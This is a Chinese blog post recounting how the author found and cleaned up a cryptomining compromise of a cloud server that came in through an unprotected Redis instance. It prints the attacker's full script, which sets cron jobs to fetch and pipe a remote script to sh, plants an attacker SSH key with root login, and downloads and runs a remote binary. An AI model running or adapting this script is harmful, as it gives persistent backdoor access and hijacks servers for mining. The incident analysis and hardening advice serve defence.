为了账号安全,请及时绑定邮箱和手机立即绑定

记一次服务器被木马攻击以及排查,修复过程

缘起

收到阿里云方面的重要的警告邮件。(注意时间2016年10月3日。与后续被黑记录排查有关)
邮件截图

当时并没有在意,以为是Wordpress漏洞引起的恶意发包。因为之前手机经常收到如下短信。如下:

【阿里云】尊敬的用户:您的服务器 139.129.XX.XX 存在wordpress WP_Image_Editor_Imagick 指令注入漏洞,已为您准备补丁可一键修复漏洞,为避免被黑客入侵,建议您登录云盾-服务器安全(安骑士)控制台,进行查看和处理,同时建议您在控制台使用安全巡检功能对服务器进行全面检查。

直到2016年10月22日。公司的官网和市场活动页面无法打开。我去阿里云控制台发现服务器已被停止。当时以为服务器快到期,被停了。
阿里云后台截图
立马续费,然后重启成功。官网等页面可以访问了。不过没过多久,页面又无法访问了。我查看阿里云后台,发现服务器又被停了。
启动成功截图
我尝试重启了几次,每次都提示启动成功。但都发现,没过多久就被停了。我勒个去!

在与阿里云客服沟通后,提交了工单。阿里售后工程师在一小时内给出了如下解决:
阿里售后工程师沟通截图
看到这里,说真的好慌。基本可以确定是被黑了。


排查

下面是对整个服务器被黑记录的排查。毕竟要知道是因为什么被黑进来的。

crontab -l

查看当前的计划任务。如下:
查看当前计划任务
如图,看到了 1 分钟重启的计划任务。就是这个计划任务,导致服务器重启成功后,又总是立马停止了。

我去到日志目录下,发现有个10月2号的计划任务日志。
/var/log/下的日志文件

less cron-20161002  

查看一下这个日志如下:
图片描述
一下子发现有大量 curl 抓取的记录。
我试着在浏览器访问 http://r.chanstring.com/pm.sh?0706 这个地址,下载到一个 pm.sh 的文件。脚本内容如下:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?103 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?103 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
    mkdir -p ~/.ssh
    rm -f ~/.ssh/authorized_keys*
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
    /etc/init.d/sshd restart
fi

if [ ! -f "/etc/init.d/ntp" ]; then
    if [ ! -f "/etc/systemd/system/ntp.service" ]; then
        mkdir -p /opt
        curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install
    fi
fi

/etc/init.d/ntp start

ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9

# ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9

我曹。这么给力的脚本怎么能不分析一下:

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?103 | sh" > /var/spool/cron/root

上面这行脚本,输出一个 每十分钟抓取指定链接 的脚本到 /var/spool/cron/root 文件。

接下来这段精彩了,一个免密钥登录的脚本:

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
    mkdir -p ~/.ssh
    rm -f ~/.ssh/authorized_keys*
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
    /etc/init.d/sshd restart
fi

大概的意思就是,可以无需密码,直接ssh远程登录服务器。

定因

百度以后,发现这个攻击是 Redis无密码可远程写入文件漏洞 造成的。
查看/root/.ssh/下确实能看到SSH登录密钥文件。并且在redis里可以查到一个莫名的键值对。

另外top可以看到一个minerd 程序把cpu跑满了:
top截图
参考:
参考链接(貌似这个链接被封了,因为文章里演示了如何生成ssh无密钥登陆的方法。)
彻底清除Linux centos minerd木马

修复

因为查看到多个文件夹被各种未知文件污染。决定选择直接初始化服务器。

重点重新配置了如下项目:

1.增加redis授权访问密码

vim /usr/local/redis/etc/redis.conf

找到 requirepass,取消注释,并设置授权登陆的密码。

requirepass 你的密码

2.更改redis为绑定端口为 127.0.0.1
找到 bind 127.0.0.1,取消注释。这样子只能本地才可访问redis。

bind 127.0.0.1
后续

服务器上的redis的监听一直是这样的,为什么最近会受到攻击呢?原因始于我做业务时,关闭了防火墙。
以后千万不能轻易关闭防火墙。
另外,在配置好服务器的一些参数后。我在阿里云的后台,生成了一条磁盘快照。作为备份。

下面是一些iptables的命令。记录一下,接下来自己会再详细了解。

service iptables status
service iptables start
service iptables stop
service iptables save 

vim /etc/sysconfig/iptables
点击查看更多内容
17人点赞

若觉得本文不错,就分享一下吧!

评论

作者其他优质文章

正在加载中
PHP开发工程师
手记
粉丝
2
获赞与收藏
80

关注作者,订阅最新文章

阅读免费教程

感谢您的支持,我会继续努力的~
扫码打赏,你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫,即可进行扫码打赏哦
今天注册有机会得

100积分直接送

付费专栏免费学

大额优惠券免费领

立即参与 放弃机会
意见反馈 帮助中心 APP下载
官方微信

举报

0/150
提交
取消